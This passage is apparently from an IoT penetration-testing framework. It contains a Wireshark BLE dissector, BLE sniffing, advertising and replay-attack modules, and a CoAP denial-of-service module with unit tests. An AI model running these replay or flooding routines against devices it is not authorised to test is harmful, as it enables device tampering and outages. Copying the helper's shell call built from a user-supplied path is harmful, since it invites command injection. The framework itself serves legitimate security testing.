bad_length = TRUE;
}
else if ((hlen + plen) < get_total_len_min())
{
if (!legacy_mode)
{
proto_tree_add_item(tree, hf_nordic_ble_header_length, tvb, UART_PACKET_HEADER_LEN_INDEX, 1, ENC_BIG_ENDIAN);
}
item = proto_tree_add_item(tree, hf_nordic_ble_payload_length, tvb, get_packet_length_index(), 1, ENC_BIG_ENDIAN);
#if IS_VERSION_1_11
expert_add_info(pinfo, item, &ei_nordic_ble_bad_length);
#elif IS_VERSION_1_10
expert_add_info_format(pinfo, item, PI_MALFORMED, PI_ERROR, "UART packet length is too small (likely corrupted).");
#endif
bad_length = TRUE;
}
else if ((hlen + plen) > get_total_len_max())
{
if (!legacy_mode)
{
proto_tree_add_item(tree, hf_nordic_ble_header_length, tvb, UART_PACKET_HEADER_LEN_INDEX, 1, ENC_BIG_ENDIAN);
}
item = proto_tree_add_item(tree, hf_nordic_ble_payload_length, tvb, get_packet_length_index(), 1, ENC_BIG_ENDIAN);
#if IS_VERSION_1_11
expert_add_info(pinfo, item, &ei_nordic_ble_bad_length);
#elif IS_VERSION_1_10
expert_add_info_format(pinfo, item, PI_MALFORMED, PI_ERROR, "UART packet length is too large (likely corrupted).");
#endif
bad_length = TRUE;
}
return bad_length;
}
static void
dissect_packet_counter(tvbuff_t *tvb, proto_tree *tree)
{
proto_tree_add_item(tree, hf_nordic_ble_packet_counter, tvb, get_pc_index(), 2, ENC_LITTLE_ENDIAN);
}
static void
dissect_id(tvbuff_t *tvb, proto_tree *tree)
{
guint8 id;
id = tvb_get_guint8(tvb, get_id_index());
}
static gboolean
dissect_flags(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree)
{
guint8 flags;
gboolean crcok, dir, encrypted, micok;
gboolean bad_length = FALSE;
gboolean bad_mic = FALSE;
gboolean bad_crc = FALSE;
proto_item *flags_item, *item;
flags = tvb_get_guint8(tvb, get_flags_index());
crcok = !!(flags & 1);
dir = !!(flags & 2);
encrypted = !!(flags & 4);
micok = !!(flags & 8);
if (dir)
{
SET_ADDRESS(&pinfo->src, AT_STRINGZ, 7, "Master");
SET_ADDRESS(&pinfo->dst, AT_STRINGZ, 6, "Slave");
}
else
{
SET_ADDRESS(&pinfo->src, AT_STRINGZ, 6, "Slave");
SET_ADDRESS(&pinfo->dst, AT_STRINGZ, 7, "Master");
}
flags_item = proto_tree_add_item(tree, hf_nordic_ble_flags, tvb, get_flags_index(), 1, ENC_BIG_ENDIAN);
//flags_tree = proto_item_add_subtree(flags_item, ett_flags);
if (encrypted) // if encrypted, add MIC status
{
item = proto_tree_add_bits_item(tree, hf_nordic_ble_micok, tvb, get_flags_index()*8+4, 1, ENC_LITTLE_ENDIAN);
if (!micok)
{
// /* MIC is bad */
#if IS_VERSION_1_11
expert_add_info(pinfo, item, &ei_nordic_ble_bad_mic);
#elif IS_VERSION_1_10
expert_add_info_format(pinfo, item, PI_CHECKSUM, PI_WARN, "MIC is bad");
expert_add_info_format(pinfo, item, PI_UNDECODED, PI_WARN, "Decryption failed (wrong key?)");
#endif
bad_mic = TRUE;
}
}
proto_tree_add_bits_item(tree, hf_nordic_ble_encrypted, tvb, get_flags_index()*8+5, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_bits_item(tree, hf_nordic_ble_direction, tvb, get_flags_index()*8+6, 1, ENC_LITTLE_ENDIAN);
item = proto_tree_add_bits_item(tree, hf_nordic_ble_crcok, tvb, get_flags_index()*8+7, 1, ENC_LITTLE_ENDIAN);
if(!crcok)
{
/* CRC is bad */
#if IS_VERSION_1_11
expert_add_info(pinfo, item, &ei_nordic_ble_bad_crc);
#elif IS_VERSION_1_10
expert_add_info_format(pinfo, item, PI_MALFORMED, PI_ERROR, "CRC is bad");
#endif
bad_crc =TRUE;
}
return bad_mic;
}
static void
dissect_channel(tvbuff_t *tvb, proto_tree *tree)
{
//guint8 channel;
//channel = tvb_get_guint8(tvb, get_ch_index());
proto_tree_add_item(tree, hf_nordic_ble_channel, tvb, get_ch_index(), 1, ENC_BIG_ENDIAN);
}
static void
dissect_rssi(tvbuff_t *tvb, proto_tree *tree)
{
gint32 rssi;
rssi = (-1)*((gint32)tvb_get_guint8(tvb, get_rssi_index()));
proto_tree_add_int(tree, hf_nordic_ble_rssi, tvb, get_rssi_index(), 1, rssi);
}
static void
dissect_event_counter(tvbuff_t *tvb, proto_tree *tree)
{
guint32 aa;
aa = tvb_get_letohl(tvb, get_header_length());
if (aa != adv_aa)
{
proto_tree_add_item(tree, hf_nordic_ble_event_counter, tvb, get_ec_index(), 2, ENC_LITTLE_ENDIAN);
}
}
static void
dissect_ble_delta_time(tvbuff_t *tvb, proto_tree *tree)
{
static guint8 previous_ble_packet_length = 0;
guint32 delta_time, delta_time_ss;
/* end - start */
delta_time = (guint32)tvb_get_letohl(tvb, get_td_index());
proto_tree_add_item(tree, hf_nordic_ble_delta_time, tvb, get_td_index(), 4, ENC_LITTLE_ENDIAN);
/* start - start */
delta_time_ss = get_metadata_transfer_time() + (get_us_per_byte() * previous_ble_packet_length) + delta_time;
proto_tree_add_uint(tree, hf_nordic_ble_delta_time_ss, tvb, get_td_index(), 4, delta_time_ss);
previous_ble_packet_length = tvb_get_guint8(tvb, get_packet_length_index());
}
/*
* Specific for 1.0.0+ :
*/
static void
dissect_ble_hlen(tvbuff_t *tvb, proto_tree *tree)
{
guint8 ble_hlen;
ble_hlen = tvb_get_guint8(tvb, UART_PACKET_BLE_HEADER_LEN_INDEX);
}
static void
dissect_protover(tvbuff_t *tvb, proto_tree *tree)
{
guint8 protover;
protover = tvb_get_guint8(tvb, UART_PACKET_PROTOVER_INDEX);
}
static guint32
is_0_9_7_packet(tvbuff_t *tvb)
{
/* legacy packets started with 0xBEEF */
if (tvb_get_guint8(tvb, 0) == 0xBE &&
tvb_get_guint8(tvb, 1) == 0xEF)
{
return 1;
}
else
{
return 0;
}
}
static void
dissect_header_0_9_7(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)
{
proto_item *ti;
proto_tree *nordic_ble_tree;//, *flags_tree;
gboolean bad_crc = FALSE;
/* create display subtree for the protocol */
ti = proto_tree_add_item(tree, proto_nordic_ble, tvb, 0, -1, ENC_NA);
nordic_ble_tree = proto_item_add_subtree(ti, ett_nordic_ble);
pinfo->p2p_dir = P2P_DIR_RECV;
/*** PROTOCOL TREE ***/
dissect_packet_counter(tvb, nordic_ble_tree);
bad_mic = dissect_flags(tvb, pinfo, nordic_ble_tree);
dissect_channel(tvb, nordic_ble_tree);
dissect_rssi(tvb, nordic_ble_tree);
dissect_event_counter(tvb, nordic_ble_tree);
bad_length = dissect_lengths(tvb, pinfo, nordic_ble_tree);
dissect_ble_delta_time(tvb, nordic_ble_tree);
}
static void
dissect_header_1_0_0(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)
{
/* Set up structures needed to add the protocol subtree and manage it */
proto_item *ti;
proto_tree *nordic_ble_tree;
/* Other misc. local variables. */
int btle_return = 0;
pinfo->p2p_dir = P2P_DIR_RECV;
/*** PROTOCOL TREE ***/
ti = proto_tree_add_item(tree, proto_nordic_ble, tvb, 0, -1, ENC_NA);
nordic_ble_tree = proto_item_add_subtree(ti, ett_nordic_ble);
tvb = dissect_board_id_and_strip_it_from_tvb(tvb, pinfo, nordic_ble_tree);
bad_length = dissect_lengths(tvb, pinfo, nordic_ble_tree);
dissect_protover(tvb, nordic_ble_tree);
dissect_packet_counter(tvb, nordic_ble_tree);
dissect_id(tvb, nordic_ble_tree);
dissect_ble_hlen(tvb, nordic_ble_tree);
bad_mic = dissect_flags(tvb, pinfo, nordic_ble_tree);
dissect_channel(tvb, nordic_ble_tree);
dissect_rssi(tvb, nordic_ble_tree);
dissect_event_counter(tvb, nordic_ble_tree);
dissect_ble_delta_time(tvb, nordic_ble_tree);
}
/* Main entry point for sniffer, any version */
static int
dissect_nordic_ble(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data)
{
tvbuff_t *payload_tvb;
bad_length = FALSE;
bad_mic = FALSE;
legacy_mode = is_0_9_7_packet(tvb);
if (legacy_mode)
{
dissect_header_0_9_7(tvb, pinfo, tree, data);
payload_tvb = tvb_new_subset(tvb, _0_9_7_UART_HEADER_LENGTH, -1, tvb_length(tvb) - _0_9_7_UART_HEADER_LENGTH);
}
else
{
dissect_header_1_0_0(tvb, pinfo, tree, data);
/* have to take BOARD_ID into account, as the stripped version is local to dissect_1_0_0 */
payload_tvb = tvb_new_subset(tvb, UART_HEADER_LENGTH + BOARD_ID_LENGTH, -1,
tvb_length(tvb) - UART_HEADER_LENGTH - BOARD_ID_LENGTH);
}
if (!bad_length)
{
call_dissector(btle_dissector_handle, payload_tvb, pinfo, tree);
}
if (bad_mic)
{
col_add_str(pinfo->cinfo, COL_INFO, "Encrypted packet decrypted incorrectly (bad MIC)");
}
if(debug_handle)
{
call_dissector(debug_handle, payload_tvb, pinfo, tree);
}
if (legacy_mode)
{
return _0_9_7_UART_HEADER_LENGTH;
}
else
{
return UART_HEADER_LENGTH + BOARD_ID_LENGTH;
}
}
/* Register the protocol with Wireshark.
*
* This format is require because a script is used to build the C function that
* calls all the protocol registration.
*/
void
proto_register_nordic_ble(void)
{
// module_t *nordic_ble_module;
/* Setup list of header fields See Section 1.6.1 of README.developer for
* details. */
static hf_register_info hf[] = {
{ &hf_nordic_ble_sync_word,
{ "sync word", "nordic_ble.sync_word",
FT_UINT16, BASE_HEX, NULL, 0x0,
"Sync word. Always 0xBEEF.", HFILL }
},
{ &hf_nordic_ble_board_id,
{ "board", "nordic_ble.board_id",
FT_UINT8, BASE_DEC, NULL, 0x0,
"", HFILL }
},
{ &hf_nordic_ble_header_length,
{ "length of header", "nordic_ble.hlen",
FT_UINT8, BASE_DEC, NULL, 0x0,
"", HFILL }
},
{ &hf_nordic_ble_payload_length,
{ "length of payload", "nordic_ble.plen",
FT_UINT8, BASE_DEC, NULL, 0x0,
"Payload length", HFILL }
},
{ &hf_nordic_ble_protocol_version,
{ "protocol version", "nordic_ble.protover",
FT_UINT8, BASE_DEC, NULL, 0x0,
"Version of nordic_ble protocol, only for Sniffer v1.0.0 and upwards", HFILL }
},
{ &hf_nordic_ble_packet_counter,
{ "uart packet counter", "nordic_ble.packet_counter",
FT_UINT16, BASE_DEC, NULL, 0x0,
"Global packet counter for packets sent on UART.", HFILL }
},
{ &hf_nordic_ble_id,
{ "packet id", "nordic_ble.id",
FT_UINT8, BASE_DEC, NULL, 0x0,
"Packet ID. Specifies the type of the packet", HFILL }
},
{ &hf_nordic_ble_ble_header_length,
{ "length of header", "nordic_ble.hlen",
FT_UINT8, BASE_DEC, NULL, 0x0,
"", HFILL }
},
{ &hf_nordic_ble_flags,
{ "flags", "nordic_ble.flags",
FT_UINT8, BASE_HEX, NULL, 0x0,
"Flags", HFILL }
},
{ &hf_nordic_ble_crcok,
{ "CRC", "nordic_ble.crcok",
FT_BOOLEAN, BASE_NONE, TFS(&crc_tfs), 0x0,
"Cyclic Redundancy Check state", HFILL }
},
{ &hf_nordic_ble_direction,
{ "direction", "nordic_ble.direction",
FT_BOOLEAN, BASE_NONE, TFS(&direction_tfs), 0x0,
"Direction", HFILL }
},
{ &hf_nordic_ble_encrypted,
{ "encrypted", "nordic_ble.encrypted",
FT_BOOLEAN, BASE_NONE, TFS(&encrypted_tfs), 0x0,
"Was the packet encrypted", HFILL }
},
{ &hf_nordic_ble_micok,
{ "MIC", "nordic_ble.micok",
FT_BOOLEAN, BASE_NONE, TFS(&mic_tfs), 0x0,
"Message Integrity Check state", HFILL }
},
{ &hf_nordic_ble_channel,
{ "channel", "nordic_ble.channel",
FT_UINT8, BASE_DEC, NULL, 0x0,
"Channel", HFILL }
},
{ &hf_nordic_ble_rssi,
{ "RSSI (dBm)", "nordic_ble.rssi",
FT_INT16, BASE_DEC, NULL, 0x0,
"Received Signal Strength Indicator", HFILL }
},
{ &hf_nordic_ble_event_counter,
{ "event counter", "nordic_ble.event_counter",
FT_UINT16, BASE_HEX, NULL, 0x0,
"Event Counter", HFILL }
},
{ &hf_nordic_ble_delta_time,
{ "delta time (us end to start)", "nordic_ble.delta_time",
FT_UINT32, BASE_DEC, NULL, 0x0,
"Delta time: us since last reported packet.", HFILL }
},
{ &hf_nordic_ble_delta_time_ss,
{ "delta time (us start to start)", "nordic_ble.delta_time_ss",
FT_UINT32, BASE_DEC, NULL, 0x0,
"Delta time: us since start of last reported packet.", HFILL }
}
};
/* Setup protocol subtree array */
static gint *ett[] = {
&ett_nordic_ble,
&ett_flags
};
// static ei_register_info ei[] = {
// { &ei_nordic_ble_bad_crc, { "nordic_ble.crc.bad", PI_CHECKSUM, PI_ERROR, "CRC is bad", EXPFILL }},
// { &ei_nordic_ble_bad_mic, { "nordic_ble.mic.bad", PI_CHECKSUM, PI_ERROR, "MIC is bad", EXPFILL }},
// { &ei_nordic_ble_bad_length, { "nordic_ble.length.bad", PI_MALFORMED, PI_ERROR, "Length is incorrect", EXPFILL }},
// };
//expert_module_t* expert_ip;
/* Register the protocol name and description */
proto_nordic_ble = proto_register_protocol("Nordic BLE sniffer meta",
"nordic_ble", "nordic_ble");
new_register_dissector("nordic_ble", dissect_nordic_ble, proto_nordic_ble);
//expert_ip = expert_register_protocol(proto_nordic_ble);
//expert_register_field_array(expert_ip, ei, array_length(ei));
/* Required function calls to register the header fields and subtrees */
// NOTE: THE FOLLOWING LINE BREAKS THE NEWEST WIRESHARK
proto_register_field_array(proto_nordic_ble, hf, array_length(hf));
proto_register_subtree_array(ett, array_length(ett));
}
void
proto_reg_handoff_nordic_ble(void)
{
static gboolean initialized = FALSE;
static dissector_handle_t nordic_ble_handle;
static int currentPort;
if (!initialized) {
/* Use new_create_dissector_handle() to indicate that
* dissect_nordic_ble() returns the number of bytes it dissected (or 0
* if it thinks the packet does not belong to nordic ble sniffer).
*/
nordic_ble_handle = new_create_dissector_handle(dissect_nordic_ble,
proto_nordic_ble);
btle_dissector_handle = find_dissector("btle");
debug_handle = find_dissector("nordic_debug");
initialized = TRUE;
}
// } else {
// /* If you perform registration functions which are dependent upon
// * prefs then you should de-register everything which was associated
// * with the previous settings and re-register using the new prefs
// * settings here. In general this means you need to keep track of
// * the nordic_ble_handle and the value the preference had at the time
// * you registered. The nordic_ble_handle value and the value of the
// * preference can be saved using local statics in this
// * function (proto_reg_handoff).
// */
// dissector_delete_uint("tcp.port", currentPort, nordic_ble_handle);
// }
#ifdef TRANSPARENT
dissector_add_uint("udp.port", udp_port, btle_dissector_handle);
#else
dissector_add_uint("udp.port", udp_port, nordic_ble_handle);
dissector_add_uint("wtap_encap", user_dlt_num, nordic_ble_handle);
#endif
}
/*
* Editor modelines - http://www.wireshark.org/tools/modelines.html
*
* Local variables:
* c-basic-offset: 4
* tab-width: 8
* indent-tabs-mode: nil
* End:
*
* vi: set shiftwidth =4 tabstop =8 expandtab:
* :indentSize =4:tabSize =8:noTabs =true:
*/
================================================
FILE: src/protocols/BLE/BLETest.py
================================================
"""
BLE (Bluetooth Low Energy) Testing Class
Call necessary tests from this class
"""
class BLETest:
@staticmethod
def run_test(attack_name):
print("BLETest")
================================================
FILE: src/protocols/BLE/__init__.py
================================================
================================================
FILE: src/protocols/BLE/attacks/__init__.py
================================================
"""
This package contains the following BLE attacks:
1) BLE Sniff attack
2) BLE Replay attack
"""
================================================
FILE: src/protocols/BLE/attacks/ble_replay_attack.py
================================================
import logging
from Entity.attack import Attack
from Entity.input_format import InputFormat
from protocols.BLE.ble_replay_attack import BLEReplayAttackHelper
class BLEReplayAttack(Attack):
"""
BLE Protocol - BLE Replay Attack Module
"""
# Input Fields
file_path = None
def __init__(self):
default_parameters = [""]
inputs = [
InputFormat("File Path", "file_path", "", str, mandatory=True, from_captured_packets=True),
]
Attack.__init__(self, "BLE Replay Attack", inputs, default_parameters, "BLE Replay Attack Definition")
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s")
def run(self):
super(BLEReplayAttack, self).run()
BLEReplayAttackHelper(self.file_path)
def stop_attack(self):
pass # Since this attack is so short there is no need to a stop routine.
================================================
FILE: src/protocols/BLE/attacks/ble_sniff_attack.py
================================================
import logging
from Entity.attack import Attack
from Entity.input_format import InputFormat
from protocols.BLE.ble_sniff import BLESniffer
class BLESniffAttack(Attack):
"""
BLE Protocol - BLE Sniff Attack Module
"""
# Input Fields
port = "/dev/ttyUSB0"
bleSni = None
def __init__(self):
default_parameters = ["/dev/ttyUSB0"]
inputs = [
InputFormat("Port", "port", self.port, str, mandatory=True),
]
Attack.__init__(self, "BLE Sniffing", inputs, default_parameters, "BLE Sniff Definition")
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s")
def run(self):
self.bleSni = BLESniffer(
self.port) # if we initialize this in init, it gives an error when we want to go back after an attack
super(BLESniffAttack, self).run()
self.bleSni.run()
def signal_handler(self, sig, frame):
self.stop_attack()
def stop_attack(self):
self.bleSni.stop_attack()
================================================
FILE: src/protocols/BLE/ble_advertiser.py
================================================
from bluetooth.ble import BeaconService
import time
import argparse
# This one uses pybluez library!!!
DEFAULT_ADVERTISEMENT = "1234567890"
parser = argparse.ArgumentParser()
parser.add_argument("-a", "--advertisement", help="Advertisement input", default=DEFAULT_ADVERTISEMENT)
args = parser.parse_args()
# You can get an advertisement input from the user or have a default one
service = BeaconService()
while True:
service.start_advertising(args.advertisement, 1, 1, 1, 200)
time.sleep(5)
# Service.stop_advertising()
# Here, we continiously advertise ourselves to hook a naive listener which does not have a white list.
# However, we will implement what will happen when we trick a naive scanner later
================================================
FILE: src/protocols/BLE/ble_device.py
================================================
import pexpect
class BLEDevice:
"""
Represents a BLE device.
It uses `gatttool` to connect a BLE device.
"""
def __init__(self, address):
self.device = None
self.address = address
# connect to the device specified with the given address
self.connect()
def connect(self):
"""
Connects to the BLE device
"""
print "Connecting..."
# Run gatttool interactively.
self.device = pexpect.spawn("gatttool -b " + self.address + " -I")
self.device.expect('\[LE\]>', timeout=10)
self.device.sendline('connect')
self.device.expect('Connection successful.*\[LE\]>', timeout=10)
print "Successfully connected!"
"""
Updates the value of the handle
"""
def writecmd(self, handle, value):
cmd = "char-write-cmd " + handle + " " + value
self.device.sendline(cmd)
print "Wrote " + value + " to handle: " + handle
================================================
FILE: src/protocols/BLE/ble_protocol.py
================================================
from Entity.protocol import Protocol
class BLE(Protocol):
def __init__(self):
ble_definition = ""
attack_suites = []
Protocol.__init__(self, "BLE", attack_suites, ble_definition)
================================================
FILE: src/protocols/BLE/ble_replay_attack.py
================================================
import os
from protocols.BLE.ble_device import BLEDevice
class BLEReplayAttackHelper:
"""
This is the helper class which is used to perform BLE Replay attack.
"""
def __init__(self, file_path):
self.file_path = file_path
self.write_requests = {}
self.run()
def run(self):
self.create_tmp_file()
self.get_write_requests()
self.replay_write_requests()
self.delete_tmp_file()
def create_tmp_file(self):
"""
Convert pcap file to txt
"""
# convert pcap file to .txt file
file_path = "\\ ".join(self.file_path.split())
os.system("tshark -X lua_script:tmp.txt -r " + file_path + " -V -T text > tmp.txt")
def get_write_requests(self):
"""
Retrieves all write requests from the given file
"""
# Open the file
f = open("tmp.txt", "r")
# Get the content of the file
content = f.read()
# Get frames
frames = content.split("\n\n")
# Search each frame to find Write Requests
for frame in frames:
try:
# Slave address index
slave_address_index = frame.index("Slave Address:")
# Update the frame
frame = frame[slave_address_index:]
# Get the slave address
open_para_index = frame.index("(")
close_para_index = frame.index(")")
slave_address = frame[open_para_index + 1:close_para_index]
# Write request index
write_request_index = frame.index("Opcode: Write Request")
# Update the frame
frame = frame[write_request_index:]
# Handle index
handle_index = frame.index("Handle:") + 8
# Update the frame
frame = frame[handle_index:]
# Space index
space_index = frame.index(" ")
# Get the handle
handle = frame[:space_index]
# Value index
value_index = frame.index("Value:") + 7
# Get the value
value = frame[value_index:]
# Add handle-value to the list
if slave_address in self.write_requests:
self.write_requests[slave_address].append({"handle": handle, "value": value})
else:
self.write_requests[slave_address] = [{"handle": handle, "value": value}]
except ValueError:
pass
print "retrieved write requests"
def replay_write_requests(self):
"""
Replay all write requests
"""
# Replay all write request
for slave_address in self.write_requests:
# Create a connection to the device
device = BLEDevice(slave_address)
# Replay all write request belonging to the device
for handle_value_pair in self.write_requests[slave_address]:
handle = handle_value_pair["handle"]
value = handle_value_pair["value"]
device.writecmd(handle, value)
print "wrote " + value + " to handle: " + handle
def delete_tmp_file(self):
"""
Delete the created tmp file
"""
os.remove("tmp.txt")
================================================
FILE: src/protocols/BLE/ble_sniff.py
================================================
import os
import sys
import time
from Utils import CommonUtil
from protocols.BLE.Adafruit_BLESniffer import sniffer
from protocols.BLE.Adafruit_BLESniffer.SnifferAPI import CaptureFiles
class BLESniffer:
stopped_flag = False
serial_port = None
def __init__(self, serial_portt):
self.stopped_flag = False
# store the captured packets
PATH_TO_FILE = BLESniffer.create_file_name()
# Instantiate the command line argument parser
sniffer.argparser = sniffer.argparse.ArgumentParser(
description="Interacts with the Bluefruit LE Friend Sniffer firmware")
# Parser the arguments passed in from the command-line
sniffer.args = sniffer.argparser.parse_args()
sniffer.args.verbose = False
print("Capturing data to " + PATH_TO_FILE)
CaptureFiles.captureFilePath = PATH_TO_FILE
self.serial_port = serial_portt
def run(self):
# Try to open the serial port
try:
sniffer.setup(self.serial_port)
except OSError:
# pySerial returns an OSError if an invalid port is supplied
print("Unable to open serial port '" + self.serial_port + "'")
sys.exit(-1)
except KeyboardInterrupt:
sys.exit(-1)
# Scan for devices in range until the user makes a selection
try:
d = None
# loop will be skipped if a target device is specified on commandline
while d is None:
if self.stopped_flag is True:
break
print("Scanning for BLE devices (5s) ...")
devlist = sniffer.scanForDevices()
if len(devlist):
# Select a device
d = sniffer.selectDevice(devlist)
print d
if self.stopped_flag is True:
d = None
else:
# Start sniffing the selected device
print("Attempting to follow device {0}:{1}:{2}:{3}:{4}:{5}".format("%02X" % d.address[0],
"%02X" % d.address[1],
"%02X" % d.address[2],
"%02X" % d.address[3],
"%02X" % d.address[4],
"%02X" % d.address[5]))
# Make sure we actually followed the selected device (i.e. it's still available, etc.)
if d is not None:
sniffer.mySniffer.follow(d)
else:
if self.stopped_flag is False:
print("ERROR: Could not find the selected device")
# Dump packets
while (self.stopped_flag is False) and (d is not None): # Dogukan
sniffer.dumpPackets()
time.sleep(1)
# Close gracefully
sniffer.mySniffer.doExit()
sys.exit()
except (KeyboardInterrupt, ValueError, IndexError) as e:
# Close gracefully on CTRL+C
if 'KeyboardInterrupt' not in str(type(e)):
print("Caught exception:", e)
sniffer.mySniffer.doExit()
sys.exit(-1)
def stop_attack(self):
self.stopped_flag = True
print("BLE sniffing attack has been terminated")
time.sleep(2) # Sleep two seconds so the user can see the message
@staticmethod
def create_file_name():
# store the captured packets
return os.path.dirname(os.path.abspath(
__file__)) + "/../../captured_packets/BLE_" + CommonUtil.get_current_datetime_for_filename_format() + ".pcap"
================================================
FILE: src/protocols/BLE/ble_tools.py
================================================
from bluepy import btle
"""
This class enables us to scan for BLE devices.
"""
class BLEScanner:
"""
Scan for BLE devices and returns these devices as ScanEntry
:param interface the Bluetooth interface
:param timeout how long scan operation takes (in seconds)
:return A list of ScanEntry objects
"""
@staticmethod
def scan(interface, timeout):
scanner = btle.Scanner(interface)
entries = scanner.scan(timeout)
return entries
"""
This class is used to create a connection with the device
Then, we can access its services or characteristics using the class methods
"""
class BLEPeripheral:
"""
Using the given parameters, create a connection with the device
:param address MAC address of the device
:param address_type fixed (btle.ADDR_TYPE_PUBLIC) or random (btle.ADDR_TYPE_RANDOM) address types
:param the Bluetooth interface on which the connection is set
"""
def __init__(self, address, address_type, interface):
self.device = btle.Peripheral(address, address_type, interface)
def getServices(self):
"""
This method gets the services (a list of btle.Service) which are provided by BLE device
"""
return self.device.getServices()
def getCharacteristics(self):
"""
This method gets the characteristics (a list of btle.Characteristics) which are provided bu BLE device
"""
return self.device.getCharacteristics()
def getAddress(self):
"""
Methods to get properties of the device
"""
return self.device.addr
def getAddressType(self):
return self.device.addrType
def getInterface(self):
return self.device.iface
================================================
FILE: src/protocols/CoAP/__init__.py
================================================
"""
This package contains the following functionalities:
1) Example usage of CoAP.
2) Attacks that is done on CoAP
3) CoAP Scanner
4) Old Attack Scripts for CoAP
5) CoAP Protocol
Moreover, we have a class which inherits from Protocol class.
"""
from coapthon.client.helperclient import HelperClient
import enum
import logging
FORMAT = "%(asctime)s:%(levelname)s:%(name)s:%(message)s"
logging.basicConfig(level=logging.DEBUG, format=FORMAT)
logger = logging.getLogger("CoAP Init")
class CoAPMethods(enum.Enum):
EMPTY = 0
GET = 1
POST = 2
PUT = 3
DELETE = 4
def does_method_have_payload(method):
"""
:type method: CoAPMethods
:param method: Method which is tested to have paylaod
:return: Whether method has payload or not
"""
return method in [CoAPMethods.POST, CoAPMethods.PUT]
def make_request(client, _path, _method_type, _payload=None):
"""
:param _path: Path to be fuzzed
:param _method_type: Which CoAP method will be used while fuzzing
:param _payload: Payload to be fuzzed
:type client: HelperClient
:return response: Response of request if proper request is done, otherwise None
"""
try:
response = None
if _method_type == CoAPMethods.GET:
response = client.get(_path)
elif _method_type == CoAPMethods.POST:
response = client.post(_path, _payload)
elif _method_type == CoAPMethods.PUT:
response = client.put(_path, _payload)
elif _method_type == CoAPMethods.DELETE:
response = client.delete(_path)
return response
except UnicodeEncodeError:
logger.error("Unicode encoding error is occurred!")
def get_coap_methods_by_name(method_string):
uppered_method_name = method_string.upper()
if uppered_method_name == "EMPTY":
return CoAPMethods.EMPTY
elif uppered_method_name == "GET":
return CoAPMethods.GET
elif uppered_method_name == "POST":
return CoAPMethods.POST
elif uppered_method_name == "PUT":
return CoAPMethods.PUT
elif uppered_method_name == "DELETE":
return CoAPMethods.DELETE
else:
logger.error("Unknown CoAP Method Type!")
return CoAPMethods.POST
def get_coap_methods_as_string(method):
if method == CoAPMethods.EMPTY:
return "EMPTY"
elif method == CoAPMethods.GET:
return "GET"
elif method == CoAPMethods.POST:
return "POST"
elif method == CoAPMethods.PUT:
return "PUT"
elif method == CoAPMethods.DELETE:
return "DELETE"
else:
logger.error("Unknown CoAP Method Type!")
return "None"
================================================
FILE: src/protocols/CoAP/attacks/__init__.py
================================================
"""
This is a package that contains attacks to CoAP protocol.
Currently, it supports the following attacks
1) Denial of Service Attack
2) Fuzzing Attack Suite
i ) Payload Size Fuzzer
ii) Random Payload Fuzzing
3) Sniff Attack
"""
================================================
FILE: src/protocols/CoAP/attacks/coap_dos_attack.py
================================================
import logging
import multiprocessing
import signal
import time
import unittest
from coapthon.client.helperclient import HelperClient
from Entity.attack import Attack
from Entity.input_format import InputFormat
from protocols import CoAP as PeniotCoAP
class CoAPDoSAttack(Attack):
"""
CoAP Protocol - DoS Attack Module
It is created to penetrate CoAP server with tiny interval messages by sending again and again messages
"""
client = None
# Input Fields
host = None
port = None
path = None
method = None
method_string = PeniotCoAP.get_coap_methods_as_string(PeniotCoAP.CoAPMethods.GET)
payload = None
timeout = 0.01
# Miscellaneous Members
logger = None
sent_message_count = 0 # Transmitted fuzzing packets
stopped_flag = False
def __init__(self):
default_parameters = ["", "", "", "", "", 10.0]
inputs = [
InputFormat("Host Name", "host", "", str, mandatory=True),
InputFormat("Port Number", "port", "", int, mandatory=True),
InputFormat("Endpoint", "path", "", str, mandatory=True),
InputFormat("Method", "method_string", self.method_string, str, mandatory=True),
InputFormat("Payload", "payload", "", str, mandatory=True),
InputFormat("Timeout", "timeout", self.timeout, float)
]
Attack.__init__(self, "CoAP DoS Attack", inputs, default_parameters,
" We send CoAP requests to the client.\n"
" The time difference between those requests\n"
" can be specified.")
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s")
# Signal handler to exit from function
signal.signal(signal.SIGINT, self.signal_handler)
def signal_handler(self, sig, frame):
self.stop_attack()
def stop_attack(self):
self.logger.info("Sent message count: {0}, exitting...".format(self.sent_message_count))
self.stopped_flag = True
if self.client is not None:
self.client.stop()
time.sleep(2) # Sleep two seconds so the user can see the message
def pre_attack_init(self):
self.client = HelperClient(server=(self.host, self.port))
self.method = PeniotCoAP.get_coap_methods_by_name(self.method_string)
def run(self):
super(CoAPDoSAttack, self).run()
self.pre_attack_init()
# Start client loop for requests
while self.stopped_flag is False:
self.sent_message_count += 1
response = PeniotCoAP.make_request(self.client, self.path, self.method, self.payload)
self.logger.info("Received message = {0}".format(str(response.line_print)))
time.sleep(self.timeout)
class TestCoAPDoSAttack(unittest.TestCase):
def setUp(self):
self.coap_dos_attack = CoAPDoSAttack()
def tearDown(self):
pass
def test_name(self):
self.assertEqual("CoAP DoS Attack", self.coap_dos_attack.get_attack_name())
def test_inputs(self):
inputs = self.coap_dos_attack.get_inputs()
self.assertIsNotNone(inputs)
self.assertGreater(len(inputs), 0, "Non inserted inputs")
self.assertEquals(len(inputs), 6)
def test_non_initialized_inputs(self):
inputs = self.coap_dos_attack.get_inputs()
for _input in inputs:
value = getattr(self.coap_dos_attack, _input.get_name())
self.assertTrue(value is None or type(value) == _input.get_type())
def test_after_getting_inputs(self):
example_inputs = ["a.b.c.d", 8888, "peniot-coap-test", "pOst", "peniot", 13.2]
for index, _input in enumerate(example_inputs):
self.coap_dos_attack.inputs[index].set_value(_input)
# Previously it should not be set
self.assertIsNone(self.coap_dos_attack.client)
super(CoAPDoSAttack, self.coap_dos_attack).run()
inputs = self.coap_dos_attack.get_inputs()
for index, _input in enumerate(inputs):
value = getattr(self.coap_dos_attack, _input.get_name())
self.assertEqual(example_inputs[index], value)
def test_dos_attack(self):
def run_attack():
example_inputs = ["127.0.0.1", 5683, "peniot", "get", "peniot", 0.01]
for index, _input in enumerate(example_inputs):
